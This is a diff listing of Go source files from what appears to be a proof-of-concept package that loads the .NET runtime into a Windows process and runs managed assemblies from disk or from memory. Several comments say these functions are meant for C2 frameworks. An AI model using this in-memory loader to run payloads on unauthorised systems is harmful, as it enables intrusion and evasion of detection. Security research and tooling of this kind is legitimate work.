iu, err := runtimeHost.GetDefaultDomain()
if err != nil {
return
}
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
return
}
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
debugPrint("Entering into appdomain.QueryInterface()...")
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *AppDomain) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *AppDomain) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetHashCode serves as the default hash function.
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
func (obj *AppDomain) GetHashCode() (int32, error) {
debugPrint("Entering into appdomain.GetHashCode()...")
ret, _, err := syscall.Syscall(
obj.vtbl.GetHashCode,
2,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
}
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
return int32(ret), nil
}
// Load_3 Loads an Assembly into this application domain.
// virtual HRESULT __stdcall Load_3 (
// /*[in]*/ SAFEARRAY * rawAssembly,
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
debugPrint("Entering into appdomain.Load_3()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Load_3,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(rawAssembly)),
uintptr(unsafe.Pointer(&assembly)),
)
if err != syscall.Errno(0) {
if err != syscall.Errno(1150) {
return
}
}
if hr != S_OK {
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
func (obj *AppDomain) ToString() (domain string, err error) {
debugPrint("Entering into appdomain.ToString()...")
var pDomain *string
hr, _, err := syscall.Syscall(
obj.vtbl.get_ToString,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pDomain)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
return
}
+129
View File
@@ -0,0 +1,129 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// from mscorlib.tlh
type Assembly struct {
vtbl *AssemblyVtbl
}
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
type AssemblyVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_CodeBase uintptr
get_EscapedCodeBase uintptr
GetName uintptr
GetName_2 uintptr
get_FullName uintptr
get_EntryPoint uintptr
GetType_2 uintptr
GetType_3 uintptr
GetExportedTypes uintptr
GetTypes uintptr
GetManifestResourceStream uintptr
GetManifestResourceStream_2 uintptr
GetFile uintptr
GetFiles uintptr
GetFiles_2 uintptr
GetManifestResourceNames uintptr
GetManifestResourceInfo uintptr
get_Location uintptr
get_Evidence uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
GetObjectData uintptr
add_ModuleResolve uintptr
remove_ModuleResolve uintptr
GetType_4 uintptr
GetSatelliteAssembly uintptr
GetSatelliteAssembly_2 uintptr
LoadModule uintptr
LoadModule_2 uintptr
CreateInstance uintptr
CreateInstance_2 uintptr
CreateInstance_3 uintptr
GetLoadedModules uintptr
GetLoadedModules_2 uintptr
GetModules uintptr
GetModules_2 uintptr
GetModule uintptr
GetReferencedAssemblies uintptr
get_GlobalAssemblyCache uintptr
}
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *Assembly) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *Assembly) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetEntryPoint returns the assembly's MethodInfo
// virtual HRESULT __stdcall get_EntryPoint (
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
debugPrint("Entering into assembly.GetEntryPoint()...")
hr, _, err := syscall.Syscall(
obj.vtbl.get_EntryPoint,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pRetVal)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+367
View File
@@ -0,0 +1,367 @@
// +build windows
// go-clr is a PoC package that wraps Windows syscalls necessary to load and the CLR into the current process and
// execute a managed DLL from disk or a managed EXE from memory
package clr
import (
"fmt"
"strings"
"syscall"
"unsafe"
)
// GetInstallRuntimes is a wrapper function that returns an array of installed runtimes. Requires an existing ICLRMetaHost
func GetInstalledRuntimes(metahost *ICLRMetaHost) ([]string, error) {
var runtimes []string
enumICLRRuntimeInfo, err := metahost.EnumerateInstalledRuntimes()
if err != nil {
return runtimes, err
}
var hr int
for hr != S_FALSE {
var runtimeInfo *ICLRRuntimeInfo
var fetched = uint32(0)
hr, err = enumICLRRuntimeInfo.Next(1, unsafe.Pointer(&runtimeInfo), &fetched)
if err != nil {
return runtimes, fmt.Errorf("InstalledRuntimes Next Error:\r\n%s\n", err)
}
if hr == S_FALSE {
break
}
// Only release if an interface pointer was returned
runtimeInfo.Release()
version, err := runtimeInfo.GetVersionString()
if err != nil {
return runtimes, err
}
runtimes = append(runtimes, version)
}
if len(runtimes) == 0 {
return runtimes, fmt.Errorf("Could not find any installed runtimes")
}
return runtimes, err
}
// ExecuteDLLFromDisk is a wrapper function that will automatically load the latest installed CLR into the current process
// and execute a DLL on disk in the default app domain. It takes in the target runtime, DLLPath, TypeName, MethodName
// and Argument to use as strings. It returns the return code from the assembly
func ExecuteDLLFromDisk(targetRuntime, dllpath, typeName, methodName, argument string) (retCode int16, err error) {
retCode = -1
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return
}
runtimes, err := GetInstalledRuntimes(metahost)
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
runtimeHost, err := GetICLRRuntimeHost(runtimeInfo)
if err != nil {
return
}
pDLLPath, err := syscall.UTF16PtrFromString(dllpath)
must(err)
pTypeName, err := syscall.UTF16PtrFromString(typeName)
must(err)
pMethodName, err := syscall.UTF16PtrFromString(methodName)
must(err)
pArgument, err := syscall.UTF16PtrFromString(argument)
must(err)
ret, err := runtimeHost.ExecuteInDefaultAppDomain(pDLLPath, pTypeName, pMethodName, pArgument)
must(err)
if *ret != 0 {
return int16(*ret), fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero return value: %d", *ret)
}
runtimeHost.Release()
runtimeInfo.Release()
metahost.Release()
return 0, nil
}
// ExecuteByteArray is a wrapper function that will automatically loads the supplied target framework into the current
// process using the legacy APIs, then load and execute an executable from memory. If no targetRuntime is specified, it
// will default to latest. It takes in a byte array of the executable to load and run and returns the return code.
// You can supply an array of strings as command line arguments.
func ExecuteByteArray(targetRuntime string, rawBytes []byte, params []string) (retCode int32, err error) {
retCode = -1
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return
}
runtimes, err := GetInstalledRuntimes(metahost)
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
return -1, fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
runtimeHost, err := GetICORRuntimeHost(runtimeInfo)
if err != nil {
return
}
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
return
}
methodInfo, err := assembly.GetEntryPoint()
if err != nil {
return
}
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
return
}
appDomain.Release()
runtimeHost.Release()
runtimeInfo.Release()
metahost.Release()
return 0, nil
}
// LoadCLR loads the target runtime into the current process and returns the runtimehost
// The intended purpose is for the runtimehost to be reused for subsequent operations
// throught the duration of the program. Commonly used with C2 frameworks
func LoadCLR(targetRuntime string) (runtimeHost *ICORRuntimeHost, err error) {
if targetRuntime == "" {
targetRuntime = "v4"
}
metahost, err := CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost)
if err != nil {
return runtimeHost, fmt.Errorf("there was an error enumerating the installed CLR runtimes:\n%s", err)
}
runtimes, err := GetInstalledRuntimes(metahost)
debugPrint(fmt.Sprintf("Installed Runtimes: %v", runtimes))
if err != nil {
return
}
var latestRuntime string
for _, r := range runtimes {
if strings.Contains(r, targetRuntime) {
latestRuntime = r
break
} else {
latestRuntime = r
}
}
runtimeInfo, err := GetRuntimeInfo(metahost, latestRuntime)
if err != nil {
return
}
isLoadable, err := runtimeInfo.IsLoadable()
if err != nil {
return
}
if !isLoadable {
err = fmt.Errorf("%s is not loadable for some reason", latestRuntime)
}
return GetICORRuntimeHost(runtimeInfo)
}
// ExecuteByteArrayDefaultDomain uses a previously instantiated runtimehost, gets the default AppDomain,
// loads the assembly into, executes the assembly, and then releases AppDomain
// Intended to be used by C2 frameworks to quickly execute an assembly one time
func ExecuteByteArrayDefaultDomain(runtimeHost *ICORRuntimeHost, rawBytes []byte, params []string) (stdout string, stderr string) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
stderr = err.Error()
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
stderr = err.Error()
return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
stderr = err.Error()
return
}
methodInfo, err := assembly.GetEntryPoint()
if err != nil {
stderr = err.Error()
return
}
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
stderr = err.Error()
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
stderr = err.Error()
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
stderr = err.Error()
return
}
assembly.Release()
appDomain.Release()
return
}
// LoadAssembly uses a previously instantiated runtimehost and loads an assembly into the default AppDomain
// and returns the assembly's methodInfo structure. The intended purpose is for the assembly to be loaded
// once but executed many times throught the duration of the program. Commonly used with C2 frameworks
func LoadAssembly(runtimeHost *ICORRuntimeHost, rawBytes []byte) (methodInfo *MethodInfo, err error) {
appDomain, err := GetAppDomain(runtimeHost)
if err != nil {
return
}
safeArrayPtr, err := CreateSafeArray(rawBytes)
if err != nil {
return
}
assembly, err := appDomain.Load_3(safeArrayPtr)
if err != nil {
return
}
return assembly.GetEntryPoint()
}
// InvokeAssembly uses the MethodInfo structure of a previously loaded assembly and executes it.
// The intended purpose is for the assembly to be executed many times throught the duration of the
// program. Commonly used with C2 frameworks
func InvokeAssembly(methodInfo *MethodInfo, params []string) (stdout string, stderr string) {
var paramSafeArray *SafeArray
methodSignature, err := methodInfo.GetString()
if err != nil {
stderr = err.Error()
return
}
if expectsParams(methodSignature) {
if paramSafeArray, err = PrepareParameters(params); err != nil {
stderr = err.Error()
return
}
}
nullVariant := Variant{
VT: 1,
Val: uintptr(0),
}
defer SafeArrayDestroy(paramSafeArray)
// Ensure exclusive access to read/write STDOUT/STDERR
mutex.Lock()
defer mutex.Unlock()
err = methodInfo.Invoke_3(nullVariant, paramSafeArray)
if err != nil {
stderr = err.Error()
// Don't return because there could be data on STDOUT/STDERR
}
// Read data from previously redirected STDOUT/STDERR
if wSTDOUT != nil {
var e string
stdout, e, err = ReadStdoutStderr()
stderr += e
if err != nil {
stderr += err.Error()
}
}
return
}
+22
View File
@@ -0,0 +1,22 @@
// +build windows
package clr
import (
"golang.org/x/sys/windows"
)
var (
CLSID_CLRMetaHost = windows.GUID{Data1: 0x9280188d, Data2: 0x0e8e, Data3: 0x4867, Data4: [8]byte{0xb3, 0x0c, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}
IID_ICLRMetaHost = windows.GUID{Data1: 0xD332DB9E, Data2: 0xB9B3, Data3: 0x4125, Data4: [8]byte{0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}
IID_ICLRRuntimeInfo = windows.GUID{Data1: 0xBD39D1D2, Data2: 0xBA2F, Data3: 0x486a, Data4: [8]byte{0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}
CLSID_CLRRuntimeHost = windows.GUID{Data1: 0x90F1A06E, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
IID_ICLRRuntimeHost = windows.GUID{Data1: 0x90F1A06C, Data2: 0x7712, Data3: 0x4762, Data4: [8]byte{0x86, 0xB5, 0x7A, 0x5E, 0xBA, 0x6B, 0xDB, 0x02}}
IID_ICorRuntimeHost = windows.GUID{Data1: 0xcb2f6722, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
CLSID_CorRuntimeHost = windows.GUID{Data1: 0xcb2f6723, Data2: 0xab3a, Data3: 0x11d2, Data4: [8]byte{0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}
IID_AppDomain = windows.GUID{Data1: 0x05f696dc, Data2: 0x2b29, Data3: 0x3663, Data4: [8]byte{0xad, 0x8b, 0xc4, 0x38, 0x9c, 0xf2, 0xa7, 0x13}}
// IID_IErrorInfo is the interface ID for the Error interface 1CF2B120-547D-101B-8E65-08002B2BD119
IID_IErrorInfo = windows.GUID{Data1: 0x1cf2b120, Data2: 0x547d, Data3: 0x101b, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
// DF0B3D60-548F-101B-8E65-08002B2BD119 https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
IID_ISupportErrorInfo = windows.GUID{Data1: 0xDF0B3D60, Data2: 0x548F, Data3: 0x101B, Data4: [8]byte{0x8e, 0x65, 0x08, 0x00, 0x2b, 0x2b, 0xd1, 0x19}}
)
+22
View File
@@ -0,0 +1,22 @@
package clr
// https://docs.microsoft.com/en-us/dotnet/framework/interop/how-to-map-hresults-and-exceptions
// https://docs.microsoft.com/en-us/windows/win32/seccrypto/common-hresult-values
const (
S_OK = 0x00
S_FALSE = 0x01
// COR_E_TARGETINVOCATION is TargetInvocationException
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.targetinvocationexception?view=net-5.0
COR_E_TARGETINVOCATION uint32 = 0x80131604
// COR_E_SAFEARRAYRANKMISMATCH is SafeArrayRankMismatchException
COR_E_SAFEARRAYRANKMISMATCH uint32 = 0x80131538
// COR_E_BADIMAGEFORMAT is BadImageFormatException
COR_E_BADIMAGEFORMAT uint32 = 0x8007000b
// DISP_E_BADPARAMCOUNT is invalid number of parameters
DISP_E_BADPARAMCOUNT uint32 = 0x8002000e
// E_POINTER Pointer that is not valid
E_POINTER uint32 = 0x80004003
// E_NOINTERFACE No such interface supported
E_NOINTERFACE uint32 = 0x80004002
)
+187
View File
@@ -0,0 +1,187 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// Couldnt have done any of this without this SO answer I stumbled on:
// https://stackoverflow.com/questions/37781676/how-to-use-com-component-object-model-in-golang
//ICLRMetaHost Interface from metahost.h
type ICLRMetaHost struct {
vtbl *ICLRMetaHostVtbl
}
// ICLRMetaHostVtbl provides methods that return a specific version of the common language runtime (CLR)
// based on its version number, list all installed CLRs, list all runtimes that are loaded in a specified
// process, discover the CLR version used to compile an assembly, exit a process with a clean runtime
// shutdown, and query legacy API binding.
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-interface
type ICLRMetaHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular CLR version.
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
GetRuntime uintptr
// GetVersionFromFile gets the assembly's original .NET Framework compilation version (stored in the metadata),
// given its file path. This method supersedes GetFileVersion.
GetVersionFromFile uintptr
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
// pointer for each CLR version that is installed on a computer.
EnumerateInstalledRuntimes uintptr
// EnumerateLoadedRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface
// pointer for each CLR that is loaded in a given process. This method supersedes GetVersionFromProcess.
EnumerateLoadedRuntimes uintptr
// RequestRuntimeLoadedNotification guarantees a callback to the specified function pointer when a
// CLR version is first loaded, but not yet started. This method supersedes LockClrVersion
RequestRuntimeLoadedNotification uintptr
// QueryLegacyV2RuntimeBinding returns an interface that represents a runtime to which legacy activation policy
// has been bound, for example by using the useLegacyV2RuntimeActivationPolicy attribute on the <startup> Element
// configuration file entry, by direct use of the legacy activation APIs, or by calling the
// ICLRRuntimeInfo::BindAsLegacyV2Runtime method.
QueryLegacyV2RuntimeBinding uintptr
// ExitProcess attempts to shut down all loaded runtimes gracefully and then terminates the process.
ExitProcess uintptr
}
// CLRCreateInstance provides one of three interfaces: ICLRMetaHost, ICLRMetaHostPolicy, or ICLRDebugging.
// HRESULT CLRCreateInstance(
// [in] REFCLSID clsid,
// [in] REFIID riid,
// [out] LPVOID * ppInterface
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clrcreateinstance-function
func CLRCreateInstance(clsid, riid windows.GUID) (ppInterface *ICLRMetaHost, err error) {
debugPrint("Entering into iclrmetahost.CLRCreateInstance()...")
if clsid != CLSID_CLRMetaHost {
err = fmt.Errorf("the input Class ID (CLSID) is not supported: %s", clsid)
return
}
modMSCoree := syscall.MustLoadDLL("mscoree.dll")
procCLRCreateInstance := modMSCoree.MustFindProc("CLRCreateInstance")
// For some reason this procedure call returns "The specified procedure could not be found." even though it works
hr, _, err := procCLRCreateInstance.Call(
uintptr(unsafe.Pointer(&clsid)),
uintptr(unsafe.Pointer(&riid)),
uintptr(unsafe.Pointer(&ppInterface)),
)
if err != nil {
// TODO Figure out why "The specified procedure could not be found." is returned even though everything works fine?
debugPrint(fmt.Sprintf("the mscoree!CLRCreateInstance function returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the mscoree!CLRCreateInstance function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
func (obj *ICLRMetaHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into icorruntimehost.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *ICLRMetaHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRMetaHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// EnumerateInstalledRuntimes returns an enumeration that contains a valid ICLRRuntimeInfo interface for each
// version of the common language runtime (CLR) that is installed on a computer.
// HRESULT EnumerateInstalledRuntimes (
// [out, retval] IEnumUnknown **ppEnumerator);
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-enumerateinstalledruntimes-method
func (obj *ICLRMetaHost) EnumerateInstalledRuntimes() (ppEnumerator *IEnumUnknown, err error) {
debugPrint("Entering into iclrmetahost.EnumerateInstalledRuntimes()...")
hr, _, err := syscall.Syscall(
obj.vtbl.EnumerateInstalledRuntimes,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&ppEnumerator)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRMetaHost::EnumerateInstalledRuntimes method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRMetaHost::EnumerateInstalledRuntimes method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetRuntime gets the ICLRRuntimeInfo interface that corresponds to a particular version of the common language runtime (CLR).
// This method supersedes the CorBindToRuntimeEx function used with the STARTUP_LOADER_SAFEMODE flag.
// HRESULT GetRuntime (
// [in] LPCWSTR pwzVersion,
// [in] REFIID riid,
// [out,iid_is(riid), retval] LPVOID *ppRuntime
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrmetahost-getruntime-method
func (obj *ICLRMetaHost) GetRuntime(pwzVersion *uint16, riid windows.GUID) (ppRuntime *ICLRRuntimeInfo, err error) {
debugPrint("Entering into iclrmetahost.GetRuntime()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.GetRuntime,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzVersion)),
uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)),
uintptr(unsafe.Pointer(&ppRuntime)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+158
View File
@@ -0,0 +1,158 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
type ICLRRuntimeHost struct {
vtbl *ICLRRuntimeHostVtbl
}
// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface
// provided in the .NET Framework version 1, with the following changes
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface
type ICLRRuntimeHostVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// Start Initializes the CLR into a process.
Start uintptr
// Stop Stops the execution of code by the runtime.
Stop uintptr
// SetHostControl sets the host control interface. You must call SetHostControl before calling Start.
SetHostControl uintptr
// GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize
// aspects of the common language runtime (CLR).
GetCLRControl uintptr
// UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier.
UnloadAppDomain uintptr
// ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code.
ExecuteInAppDomain uintptr
// GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing.
GetCurrentAppDomainId uintptr
// ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application
// to be activated in a new domain.
ExecuteApplication uintptr
// ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly.
ExecuteInDefaultAppDomain uintptr
}
// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and
// returns an ICLRRuntimeHost and loads it into the current process
func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) {
debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...")
var runtimeHost *ICLRRuntimeHost
err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost))
if err != nil {
return nil, err
}
err = runtimeHost.Start()
return runtimeHost, err
}
func (obj *ICLRRuntimeHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICLRRuntimeHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Start Initializes the common language runtime (CLR) into a process.
// HRESULT Start();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method
func (obj *ICLRRuntimeHost) Start() error {
debugPrint("Entering into iclrruntimehost.Start()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Start,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
// HRESULT ExecuteInDefaultAppDomain (
// [in] LPCWSTR pwzAssemblyPath,
// [in] LPCWSTR pwzTypeName,
// [in] LPCWSTR pwzMethodName,
// [in] LPCWSTR pwzArgument,
// [out] DWORD *pReturnValue
// );
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
hr, _, err := syscall.Syscall9(
obj.vtbl.ExecuteInDefaultAppDomain,
6,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzAssemblyPath)),
uintptr(unsafe.Pointer(pwzTypeName)),
uintptr(unsafe.Pointer(pwzMethodName)),
uintptr(unsafe.Pointer(pwzArgument)),
uintptr(unsafe.Pointer(pReturnValue)),
0,
0,
0)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
// HRESULT GetCurrentAppDomainId(
// [out] DWORD* pdwAppDomainId
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
hr, _, err := syscall.Syscall(
obj.vtbl.GetCurrentAppDomainId,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pdwAppDomainId)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
